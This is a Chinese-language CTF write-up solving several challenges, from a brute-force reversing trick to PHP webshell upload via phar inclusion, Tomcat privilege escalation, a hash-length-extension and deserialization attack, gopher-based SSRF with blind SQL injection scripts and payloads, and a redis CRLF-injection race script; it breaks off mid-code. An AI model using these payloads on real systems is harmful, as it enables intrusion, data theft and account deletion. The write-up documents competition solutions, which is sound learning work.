Flag: Flag{y3s_Is_tH3_LaSt}
2.2.解题过程
这题也是Inkcen表哥做的,办法很暴力,按位爆破,按照他的话说,为什么要按位做检测呢- -!
直接附上爆破代码和截图吧
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
#include <Windows.h> #include <cstdio> char flag[30] = { 0 }; int main() { HWND mainh = FindWindow(nullptr,L"CM200"); if (mainh == nullptr) printf("error"); HWND XX = FindWindowEx(mainh, nullptr, L"Edit", nullptr); if(XX == nullptr) printf("error2"); flag[0] = ‘F‘; flag[1] = ‘l‘; flag[2] = ‘a‘; flag[3] = ‘g‘; flag[4] = ‘{‘; flag[5] = ‘y‘; flag[6] = ‘3‘; flag[7] = ‘s‘; flag[8] = ‘_‘; flag[9] = ‘I‘; flag[10] = ‘s‘; flag[11] = ‘_‘; flag[12] = ‘t‘; flag[13] = ‘H‘; flag[14] = ‘3‘; flag[15] = ‘_‘; flag[16] = ‘L‘; flag[17] = ‘a‘; flag[18] = ‘S‘; flag[19] = ‘t‘; flag[20] = ‘}‘; for (char i = 0x20; i < 0x7e; i++) { flag[20] = i; SendMessageA(XX, WM_SETTEXT, NULL, (LPARAM)flag); HWND box = FindWindow(nullptr, L"wow"); Sleep(10); if (box != nullptr) { exit(0); } } return 0; } |
每一位输入之后可以检测,那么接下来就类似于盲注一样,一位一位检测就可以拿到所有的了
12.WEB100
2.1.题目信息
地址: http://web2.08067.me/
分值: 100分
Flag: flag{[email protected]_1}
2.2.解题过程
讲道理,这题界面很炫
嗯,很Imba,我很喜欢
看到提示有include.php,于是访问一下,发现没有什么,看了下源代码,发现新的tips
目前就凭这两个文件名,可以看出这题应该是上传一个东西,然后给包含进来
访问了下upload.php,发现只能上传jpg/png/gif,其他的都上传不上去
然后看了下include,用file参数包含下自己,发现失败,然后问了下军爷,他说你把.php删掉试试,结果….
竟然终止了,看来他会自己把.php后缀加上,所以成了无限递归包含了,于是想想怎么把php传上去
在网上查了相关文章之后,发现phar伪协议可以满足这个要求
http://www.hackdig.com/09/hack-26779.htm
把php文件打包成zip,后缀改为jpg,上传上去,然后利用phar伪协议包含进来
我这里打包了两个文件,一个为phpinfo.php,一个为yijuhua.php
成功,于是直接访问webshell
在shell目录下有个swpu_wbe2_tips.txt,打开之后得到该题Flag,还有下题的提示
13.WEB200-3
2.1.题目信息
地址: http://web2.08067.me/
分值: 200分
Flag: flag{You_get_the_root_–!}
2.2.解题过程
从上题得到的提示,看样子是要提权,有一个tomcat.08067.me的域名,问了一下出题人,tomcat和web2这台服务器是同一台服务器
翻了一下服务器上的文件,发现在icematcha这个用户的家目录下有个tomcat_restart.sh文件
访问了下是tomcat的默认页面,管理页面被改过无法访问,于是在这里想了一下是不是要利用tomcat去提权呢,搜了一下果然是这个思路
http://blog.csdn.net/jlvsjp/article/details/52776377
跟着这篇文章从头看了下,所有提权特征就差tomcat权限的用户了,这篇文章对整个提权漏洞的分析还是很透彻的
php的shell的权限为www-data,所以得把权限换成tomcat
啥都不说了,先找一下tomcat路径,扔一个jsp的马上去
tomcat的默认路径在/var/lib/tomcat6/,往/var/lib/tomcat6/webapps/ROOT/写一个jsp的马,然后反弹shell
然后把tomcat的提权exp丢上去,直接提权
提权过程需要path_to_catalina.out这个文件的绝对路径,该文件在/var/lib/tomcat6/logs/catalina.out
14.MISC100-2
2.1.题目信息
地址: http://misc.08067.me/misc3/misc.jpg
分值: 100分
Flag: flag{kaSaI_fbnkjdksSFGHFkfjksabfdJNKLDWOIafsadf}
2.2.解题过程
拿到一个图片,然后直接丢010editor,发现尾部有数据
拿出来,然后base64_decode失败,base32_decode解开了
Python
1 2 3 4 5 |
import base64 encoded = "OZRGW4L3OVVUG22TL53HEZDVPJ2HKY2DKZIVQVTVOZ5HKY3LOJ3HIWSEKVBFIR2ZKNVXMY3LOR3H2===" data = base64.b32decode(encoded) print data |
可以拿到解开的数据vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
然后看起来像是移位,前四位肯定是flag,然后去研究规律···
-16相当于v向前推16位,也就相当于向后推10位,所以可以看做+10
老实说这里规律我我一开始的以为两位+10,两位-10
Python
1 2 3 4 |
ord(‘f‘) - ord(‘v‘) = -16 = 10 ord(‘l‘) - ord(‘b‘) = 10 ord(‘a‘) - ord(‘k‘) = -10 ord(‘g‘) - ord(‘q‘) = -10 |
解出来之后发现不对···然后懵逼了
不得已去问了下出题人,确认此题是不是有问题,,出题人表示题目没问题,并让我尝试奇偶变换,
然后不管怎么奇偶变化都解不出来flag,然后再问了一下(原谅我这么不要脸),让我把字母奇偶变换
瞬间明白
1 2 |
abcdefghigklmnopqrstuvwxyz -+-+-+-+-+-+-+-+-+-+-+-+-+ |
于是写了个程序让他自己完成变换的过程
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
def checkdaxiaoxie(s): s = ord(s) if s >= 65 and s <=90: # >=A and <=Z return 1 # 大写 elif s >= 97 and s <=122: # >=a and <=z return 0 # 小写 else: return 2 # 符号 def jiajiajianjian(s): daxiaoxie = checkdaxiaoxie(s) temp = ord(s) if temp % 2 ==1: temp = temp - 10 # 奇数位 else: temp = temp + 10 # 偶数位 if daxiaoxie == 0: # 小写 if temp > 122: # >z temp -=26 elif temp < 97: # <a temp +=26 elif daxiaoxie == 1: # 大写 if temp > 90: # >Z temp -=26 elif temp < 65: # <A temp +=26 return chr(temp) import base64 encoded = "OZRGW4L3OVVUG22TL53HEZDVPJ2HKY2DKZIVQVTVOZ5HKY3LOJ3HIWSEKVBFIR2ZKNVXMY3LOR3H2===" data = base64.b32decode(encoded) print data a = "" for i in data: a += jiajiajianjian(i) print a |
解出来之后是flagqkaSaIUfbnkjdksSFGHFkfjksabfdJNKLDWOIafsadfs,然后把三个符号再换回去就得到flag了
15.WEB400
2.1.题目信息
地址: http://web4.08067.me/
分值: 400分
Flag: flag{I_L0vE_xx1a0m4i}
2.2.解题过程
这题是个代码审计的题目,扫描发现有web.zip
下载下来之后即为整站的源代码
首先在common.php里。可以看到把提交过来的各类参数foreach成k,v
common.php
PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
<?php error_reporting(0); foreach(Array("_POST","_GET","_COOKIE") as $key){ foreach($$key as $k => $v){ if(is_array($v)){ die("hello,hacker!"); } else{ $k[0] !=‘_‘?$$k = addslashes($v):$$k = ""; } } } function mysql_conn() { $conn=@mysql_connect(‘localhost‘,‘root‘,‘****‘) or die(‘could not connect‘.mysql_error()); mysql_query(‘use web‘); mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn); return $conn; } function get_salt( $length = 16 ) { $chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘; $salt =‘‘; for ( $i = 0; $i < $length; $i++ ) { $salt .= $chars[ mt_rand(0, strlen($chars) - 1) ]; } return $salt; } function display($arr) { $a = ‘ <!--时光--> <div class="shiguang animated bounceIn"> <div class="left sg_ico"> <img src="images/my_1.jpg" width="120" height="120" /> </div> <div class="right sg_text"> <img src="images/left.png" width="13" height="16" alt="左图标"/>‘ . $arr . ‘</div> <div class="clear"></div> </div> <!--时光 end-->‘; return $a; } ?> |
在foreach最后的赋值阶段,对value进行了addslashes,所以这里是没办法代入一些奇怪的东西的
但是这里会存在一个可能导致变量覆盖的问题
如果接下来哪个页面没有定义某个变量,但是调用到了,就会发生变量覆盖的问题
然后去找找哪里有未定义的变量,找了一圈,就发现只有riji.php里有这么一段可疑的代码
riji.php
PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 |
<?php require_once("common.php"); session_start(); if (@$_SESSION[‘login‘] !== 1) { header(‘Location:/web/index.php‘); exit(); } if($_SESSION[‘user‘]) { $username = $_SESSION[‘user‘]; @mysql_conn(); $sql = "select * from user where name=‘$username‘"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if($result[‘userid‘]) { $id = intval($result[‘userid‘]); } } else { exit(); } ?> <!DOCTYPE HTML> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>日记系统</title> <meta name="keywords" content="日记系统" /> <meta name="description" content="" /> <link rel="stylesheet" href="css/index.css"/> <link rel="stylesheet" href="css/style.css"/> <link rel="stylesheet" href="css/animate.css"/> <script type="text/javascript" src="js/jquery1.42.min.js"></script> <script type="text/javascript" src="js/jquery.SuperSlide.2.1.1.js"></script> <!--[if lt IE 9]> <script src="js/html5.js"></script> <![endif]--> </head> <body> <!--header start--> <div id="header"> <h1>日记系统</h1> <p>一个给小美的日记系统</p> </div> <!--header end--> <!--nav--> <div id="nav"> <ul> <li><a href="index.php">登陆</a></li> <li><a href="forget.php">找回密码</a></li> <li><a href="riji.php">个人日记</a></li> <li><a href="guestbook.php">写日记</a></li> <li><a href="logoff.php?off=1">注销</a></li> <div class="clear"></div> </ul> </div> <!--nav end--> <!--content start--> <div id="content"> <!--left--> <div class="left" id="riji"> <div class="weizi"> <div class="wz_text">当前位置:<a href="#">首页</a>><h1>个人日记</h1></div> </div> <div class="rj_content"> <?php @mysql_conn(); $sql1 = "select * from msg where userid= $id order by id"; $query = mysql_query($sql1); $result1 = array(); while($temp=mysql_fetch_assoc($query)) { $result1[]=$temp; } mysql_close(); foreach($result1 as $x=>$o) { echo display($o[‘msg‘]); } ?> </div> </div> </div> </body> </html> |
假如$result[‘userid’]没有东西,则$id就不会被定义,然后接下来选取文章的时候就可以进行注入了
要使$result[‘userid’]取不到东西,就要$_SESSION[‘user’]不存在,于是看了一下,$_SESSION[‘user’]是在登录的时候定义的,但是整体代码没有什么地方进行unset,所以只要让$_SESSION[‘user’]不存在就可以了。
然后跟着这个思路,再看看如何让$_SESSION[‘user’]不存在,又看了一下,发现在api.php里有删除账号的操作,如果可以删除掉一个账户,而保持该账户的登录状态,
那么在riji.php里取$result[‘userid’]的时候,就会取不到东西,这时候就可以自己传入一个id值,实现变量覆盖
api.php
PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
<?php require_once("common.php"); session_start(); if (@$_SESSION[‘login‘] === 1){ header(‘Location:/web/riji.php‘); exit(); } class admin { var $name; var $check; var $data; var $method; var $userid; var $msgid; function check(){ $username = addslashes($this->name);//进入数据库的数据进行转义 @mysql_conn(); $sql = "select * from user where name=‘$username‘"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if(!empty($result)){ //利用 salt 验证是否为该用户 if($this->check === md5($result[‘salt‘] . $this->data . $username)){ echo ‘(=-=)!!‘; if($result[‘role‘] == 1){//检查是否为admin用户 return 1; } else{ return 0; } } else{ return 0; } } else{ return 0; } } function do_method(){ if($this->check() === 1){ if($this->method === ‘del_msg‘){ $this->del_msg(); } elseif($this->method === ‘del_user‘){ $this->del_user(); } else{ exit(); } } } function del_msg(){ if($this->msgid) { $msg_id = intval($this->msgid);//防注入 @mysql_conn(); $sql1 = "DELETE FROM msg where id=‘$msg_id‘"; if(mysql_query($sql1)){ echo(‘<script>alert("Delete message success!!")</script>‘); exit(); } else{ echo(‘<script>alert("Delete message wrong!!")</script>‘); exit(); } mysql_close(); } else{ echo(‘<script>alert("Check Your msg_id!!")</script>‘); exit(); } } function del_user(){ if($this->userid){ $user_id = intval($this->userid);//防注入 if($user_id == 1){ echo(‘<script>alert("Admin can\‘t delete!!")</script>‘); exit(); } @mysql_conn(); $sql2 = "DELETE FROM user where userid=‘$user_id‘"; if(mysql_query($sql2)){ echo(‘<script>alert("Delete user success!!")</script>‘); exit(); } else{ echo(‘<script>alert("Delete user wrong!!")</script>‘); exit(); } mysql_close(); } else{ echo(‘<script>alert("Check Your user_id!!")</script>‘); exit(); } } } $a = unserialize(base64_decode($api)); $a->do_method(); ?> |
从代码中可以看出,传入一个序列化的数据,然后进行反序列化之后进入check,于是要调用api.php,必须要知道admin用户的salt,data和username是自己传入的,所以是可以控制的
salt这个在登录的时候会设置在cookie里
PHP
24 25 26 27 28 |
$user_cookie = ‘‘; $user_cookie .= $result[‘userid‘]; $user_cookie .= $result[‘name‘]; $user_cookie .= $result[‘salt‘]; $cookies = base64_encode($user_cookie); |
一开始我以为是要重置掉admin的密码,结果发现重置密码是要拿到admin的mibao的,但是mibao是无论如何都拿不到的。各种尝试都没办法
于是无奈,又求助于出题人(出题人是真心的大好人呐)
出题人给出了一点提示,hash扩展攻击
Bingo!
查阅了一下原理
http://blog.csdn.net/syh_486_007/article/details/51228628
然后,再找回密码的地方可以拿到salt在MD5之后的值
base64_decode之后为917cc87f88b8833632b012418a7211ad
在github上找到了相应的工具,自己生成出了需要的hash
https://github.com/iagox86/hash_extender
拿到了hash扩展攻击之后的数据,生成base64,同时记录下利用该数据的md58f4d7a58b13a34d34f8384595a3de5f7
然后登陆,登陆过程抓包,拿到自己账户的id
我自己的账户id为100,然后新开一个隐身窗口(为了防止cookie冲突)访问api,删除账户
1 |
Tzo1OiJhZG1pbiI6Njp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czozOiIxMDAiO3M6NToibXNnaWQiO3M6MToiMSI7fQ== |
然后拿着这个生成好的base64字符串调用接口删除用户
删除完成之后,访问riji.php,抓包,拿到PHPSESSID,直接丢sqlmap跑就行
16.WEB300
2.1.题目信息
地址: http://web5.08067.me/
分值: 300分
Flag: Flag{It_iS_s0_ea3y_!!!!!!!!!_FUCK_!!!!!}
2.2.解题过程
输入自己网站么,先输入了一下自己的,发现是把请求的内容返回来了,于是猜测这里有SSRF
于是查了一下操作系统类型,CentOS 6.5
查一下IP 172.16.181.165
利用SSRF扫了一下内网,发现存在166这台主机
然后顺手一个admin,居然存在,然后又顺手一个login.php 居然又存在,hhhhh
form表单提交到wllmctf_login.php了,看样子是要登陆进去了
登录需要POST,查阅资料了解到可以用gopher协议提交POST的表单
payload
1 |
gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20Mozilla%2f5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A49.0%29%20Gecko%2f20100101%20Firefox%2f49.0%250d%250aAccept%3A%20text%2fhtml%2Capplication%2fxhtml%2bxml%2Capplication%2fxml%3Bq%3D0.9%2C%2a%2f%2a%3Bq%3D0.8%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Cen-US%3Bq%3D0.5%2Cen%3Bq%3D0.3%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aConnection%3A%20close%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250ausername%3Dadmin‘%20and%20‘1‘=‘1%26password%3D123456" |
于是开始尝试,发现在username这里存在盲注
1 2 |
username=admin‘and 1=1 提示 password error username=admin‘and 1=2 提示 error names |
接下来跑注入就行了
一样,交给脚本去处理
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
#!/usr/bin/env python2 # -*- coding: utf-8 -*- import hackhttp hh = hackhttp.hackhttp() def encode(string): return string.replace(" ","%20") char = "abcdefghijklmnopqrstuvwxyz1234567890" target = "http://web5.08067.me/index.php?url=" dbname = "" for i in range(1,8): for j in char: inje = "admin‘ and mid(database(),%s,1)=‘%s‘" % (i,j) payload = inje + "%2523" postdata = "username=" + payload + "%26" + "password=123" payload_len = 9 + len(inje) + 1 + 13 postdata = encode(postdata) send = "gopher://172.16.181.166:80/_POST%20/admin/wllmctf_login.php%20HTTP/1.1%250d%250a" send += "Host:%20172.16.181.166%250d%250a" send += "Content-Type:%20application/x-www-form-urlencoded%250d%250a" send += "Content-Length:%20" + str(payload_len) + "%250d%250a" send += "%250d%250a" send += postdata url = target + send a,b,c,d,e = hh.http(url) if "password error" in c: dbname += j print i,dbname break |
基础的pyaload也就是inje了,接下来猜库猜表猜内容
首先是获取数据库名长度,二分法,数据库名长度为7
MySQL
1 2 3 4 5 6 |
admin‘ and length(database()) < 20 # 对 dbname < 20 admin‘ and length(database()) < 10 # 对 dbname < 10 admin‘ and length(database()) < 5 # 错 5 < dbname < 10 admin‘ and length(database()) < 7 # 错 7 < dbname < 10 admin‘ and length(database()) < 8 # 对 7 < dbname < 8 admin‘ and length(database()) = 7 # 对 dbname = 7 |
长度为7,然后查库名叫啥
MySQL
1 2 3 4 5 6 7 |
admin‘ and mid(database(),1,1)=‘w‘ admin‘ and mid(database(),2,1)=‘l‘ admin‘ and mid(database(),3,1)=‘l‘ admin‘ and mid(database(),4,1)=‘l‘ admin‘ and mid(database(),5,1)=‘c‘ admin‘ and mid(database(),6,1)=‘t‘ admin‘ and mid(database(),7,1)=‘f‘ |
数据库名字为wllmctf
然后查这个库有几个表
MySQL
1 2 3 4 5 6 |
admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<10 # 对 表数量 < 10 admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<5 # 对 表数量 < 5 admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<3 # 对 表数量 < 3 admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<2 # 对 表数量 < 2 admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)<1 # 错 1 < 表数量 < 2 admin‘ and (select count(*) from information_schema.tables where table_schema=‘wllmctf‘)=1 # 对 表数量 = 1 |
只有一个表,有意思,查这个表名字长度
MySQL
1 2 3 4 5 |
admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<20 # 对 长度 < 20 admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<10 # 对 长度 < 10 admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<5 # 对 长度 < 5 admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))<3 # 错 3 < 长度 < 5 admin‘ and length((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1))=4 # 对 长度 = 4 |
表名长度为4,查表名叫啥
MySQL
1 2 3 4 |
admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),1,1)=‘s‘ admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),2,1)=‘s‘ admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),3,1)=‘r‘ admin‘ and mid((select table_name from information_schema.tables where table_schema=‘wllmctf‘ limit 0,1),4,1)=‘f‘ |
表名ssrf,果然有意思
表里有几个字段
MySQL
1 2 3 4 5 |
admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<10 # 对 字段数 < 10 admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<5 # 对 字段数 < 5 admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<3 # 对 字段数 < 3 admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)<2 # 错 2 < 字段数 < 3 admin‘ and (select count(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘)=2 # 对 字段数 = 2 |
有2个字段,查询第一个字段名长度
MySQL
1 2 3 4 5 6 |
admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<10 # 对 长度 < 10 admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<5 # 错 5 < 长度 < 10 admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<7 # 错 7 < 长度 < 10 admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<8 # 错 8 < 长度 < 10 admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)<9 # 对 8 < 长度 < 9 admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1)=8 # 对 长度 = 8 |
第一个字段名长度为8,估计为username,下个估计是password,
查询第二个字段名长度
MySQL
1 |
admin‘ and (select length(column_name) from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1)=8 # 长度 = 8 |
也是8
查第一个字段名
MySQL
1 2 3 4 5 6 7 8 |
admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),1,1)=‘u‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),2,1)=‘s‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),3,1)=‘e‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),4,1)=‘r‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),5,1)=‘n‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),6,1)=‘a‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),7,1)=‘m‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 0,1),8,1)=‘e‘ |
第一个字段名是username,然后查第二个
MySQL
1 2 3 4 5 6 7 8 |
admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),1,1)=‘p‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),2,1)=‘a‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),3,1)=‘s‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),4,1)=‘s‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),5,1)=‘w‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),6,1)=‘o‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),7,1)=‘r‘ admin‘ and mid((select column_name from information_schema.columns where table_schema=‘wllmctf‘ and table_name=‘ssrf‘ limit 1,1),8,1)=‘d‘ |
第二个字段名为passowrd,现在需要的信息齐了
数据库名wllmctf
表名ssrf
字段1名username
字段2名password
数据开跑
账号长度跑出来为5,跑账号
MySQL
1 2 3 4 5 |
admin‘ and mid((select username from wllmctf.ssrf),1,1)=‘a‘ admin‘ and mid((select username from wllmctf.ssrf),2,1)=‘d‘ admin‘ and mid((select username from wllmctf.ssrf),3,1)=‘m‘ admin‘ and mid((select username from wllmctf.ssrf),4,1)=‘i‘ admin‘ and mid((select username from wllmctf.ssrf),5,1)=‘n‘ |
账号admin,密码长度跑出来为12,开始跑密码
MySQL
1 2 3 4 5 6 7 8 9 10 11 12 |
admin‘ and mid((select password from wllmctf.ssrf),1,1)=‘x‘ admin‘ and mid((select password from wllmctf.ssrf),2,1)=‘i‘ admin‘ and mid((select password from wllmctf.ssrf),3,1)=‘a‘ admin‘ and mid((select password from wllmctf.ssrf),4,1)=‘o‘ admin‘ and mid((select password from wllmctf.ssrf),5,1)=‘z‘ admin‘ and mid((select password from wllmctf.ssrf),6,1)=‘h‘ admin‘ and mid((select password from wllmctf.ssrf),7,1)=‘a‘ admin‘ and mid((select password from wllmctf.ssrf),8,1)=‘n‘ admin‘ and mid((select password from wllmctf.ssrf),9,1)=‘g‘ admin‘ and mid((select password from wllmctf.ssrf),10,1)=‘1‘ admin‘ and mid((select password from wllmctf.ssrf),11,1)=‘2‘ admin‘ and mid((select password from wllmctf.ssrf),12,1)=‘3‘ |
密码xiaozhang123
登录吧~
17.WEB200-4
2.1.题目信息
地址: http://web7.08067.me/web7
分值: 200分
Flag: flag{this_FUN_XXoo_ABC_UDAFBFnsasfg}
2.2.解题过程
看起来又像是一个SSRF,妈蛋!
老样子,想写上自己的服务器,发现请求的UA头是urllib2.6
然后找了一下相关漏洞,发现存在HTTP头注入,然后在admin页面随便提交一个发现提示fast fast fast….
更快?想想,什么能更快,然后灵光一闪,缓存啊,然后想想什么能做缓存,redis和memcached,猜测是redis,于是访问了下本地6379端口,果然开放
payload
1 |
http://127.0.0.1%0d%0adbsize%0d%0a:6379/foo |
如果可以访问到的话则是Header is empty,访问不到的话则是什么都不显示
于是开始构造HTTP头注入,一开始是以为要写公钥,但是又想到写进去也访问不了啊,于是思(xun)索(wen)了(ti)下(shi)
是要更新redis里的admin的值,服务端那边会以一定线程去更新,如果我更新的速度比他快,那就可以更新成功,然后就可以login进去
好一个线程竞争
写程序提交更新吧
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import hackhttp hh = hackhttp.hackhttp() url = "http://web7.08067.me/web7/input" raw = ‘‘‘POST /web7/input HTTP/1.1 Host: web7.08067.me Content-Length: 68 Cache-Control: max-age=0 Origin: http://web7.08067.me Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Referer: http://web7.08067.me/web7/input/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Connection: close value=http://127.0.0.1%0d%0aset%20admin%20lineline%0d%0a:6379/foo‘‘‘ while True: a,b,c,d,e = hh.http(url,raw=raw) print a |
登录这里也需要有一个高速访问的状态,我这里直接用Burp去访问了
所以就是先启动更新脚本,然后启动Burp,观察Burp的length,不同的那个即为登陆成功状态
我这里怕更新不上,把更新脚本运行的多份,每个都是多线程的,不怕更新不上去
讲道理,这么给自己服务器找DDoS真的好么- -!
18.REVERSE300
2.1.题目信息
地址: http://misc.08067.me/CM300/
分值: 300分
Flag: flag{sA7_Tr03_I’m_Sb!|SwP0}
2.2.解题过程
因为本人水平有限,所以此题最终并没有解出来,此处摘抄了官方的解题过程
官方链接:http://bobao.360.cn/ctf/detail/173.html
CM300分为两个部分第一个为 key 和第二个部分 flag
Key输入进行md5加密。找到常量186, 23, 99, 168, 254, 185, 21, 172, 61, 195, 239, 219, 52, 229, 129, 55转为16进制。再去解md5就OK。
1 |
ba1763a8feb915ac3dc3efdb34e58137 = md5(‘SwP0‘) |
C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
void Encode1(unsigned char *decrypt, unsigned char *Flag) { for ( int i = 0; i < 16; i++) { Flag[i] ^= decrypt[i]; if (i % 2 == 0 && i < 9) Flag[i] -= 40; if (i % 2 != 0 && i < 9) Flag[i] += 1; if (i>=9) { if (i < 12) { Flag[i] -= 50; } else { Flag[i] -= 9; } } } } void Encode2(unsigned char *decrypt, unsigned char * Flag) { for (int i = 0; i < 16; i++) { Flag[i] ^= 29; if (i%2 != 0) { Swap(&Flag[i-1],&Flag[i]); } } Encode1(decrypt, Flag); } void Swap(unsigned char *p1, unsigned char *p2) { char temp; temp = *p1; *p1 = *p2; *p2 = temp; } int Decode(unsigned char * Flag) { int i = Flag[0] - 199 + Flag[1] - 171 + Flag[2] - 93 + Flag[3] - 153 + Flag[4] - 6 + Flag[5] - 38 + Flag[6] - 127 + Flag[7] - 76 + Flag[8] - 79 + Flag[9] - 177 + Flag[10] - 67 + Flag[11] - 29 + Flag[12] - 122 + Flag[13] - 144 + Flag[14] - 135 